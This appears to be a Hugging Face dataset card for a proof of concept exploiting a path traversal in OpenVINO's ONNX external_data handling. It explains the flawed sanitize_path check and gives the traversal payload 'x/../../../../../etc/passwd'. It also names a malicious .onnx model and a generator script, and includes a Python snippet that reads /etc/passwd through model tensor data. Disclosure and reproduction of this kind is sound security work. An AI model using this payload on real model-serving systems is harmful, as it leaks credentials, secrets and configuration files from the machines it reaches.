0xiviel/poc-openvino-onnx-path-traversal
PoC: OpenVINO ONNX External Data Path Traversal (Arbitrary File Read) Summary A malicious .onnx model can read arbitrary files from the filesystem via path traversal in the external_data location field. Confirmed on OpenVINO 2025.4.1 — reads /etc/passwd contents as tensor data. Root Cause ov::util::sanitize_path() at file_util.cpp:107 only strips leading /.\\ characters. A path like x/../../../etc/passwd starts with x (not in strip set), so it… See the full description on the dataset page: https://huggingface.co/datasets/0xiviel/poc-openvino-onnx-path-traversal.
PoC: OpenVINO ONNX External Data Path Traversal (Arbitrary File Read)
Summary
A malicious .onnx model can read arbitrary files from the filesystem via path traversal in the external_data location field.
Confirmed on OpenVINO 2025.4.1 — reads /etc/passwd contents as tensor data.
Root Cause
ov::util::sanitize_path() at file_util.cpp:107 only strips leading /.\\ characters. A path like x/../../../etc/passwd starts with x (not in strip set), so it passes through unchanged. std::filesystem::weakly_canonical() then resolves the .. components.
sanitize_path("x/../../../../../etc/passwd")
→ "x/../../../../../etc/passwd" (first char 'x' not in /.\)
weakly_canonical(model_dir / "x/../../../../../etc/passwd")
→ "/etc/passwd"Impact
- Arbitrary file read from any path accessible to the process
- In ML serving environments (OpenVINO Model Server, etc.), leaks secrets, configs, credentials
- File contents returned as tensor data in model output
Files
malicious_path_traversal.onnx— malicious ONNX model with traversal payloadx/— dummy directory required forweakly_canonicalresolutionpoc_onnx_path_traversal.py— PoC generator script
Reproduction
pip install openvino onnx
python poc_onnx_path_traversal.py
python -c "
import openvino as ov
core = ov.Core()
model = core.read_model('malicious_path_traversal.onnx')
for node in model.get_ordered_ops():
if node.get_type_name() == 'Constant':
print(node.get_data().tobytes().decode('utf-8', errors='replace')[:200])
"Expected output: Contents of /etc/passwd
Affected Versions
All OpenVINO versions with ONNX external data support.
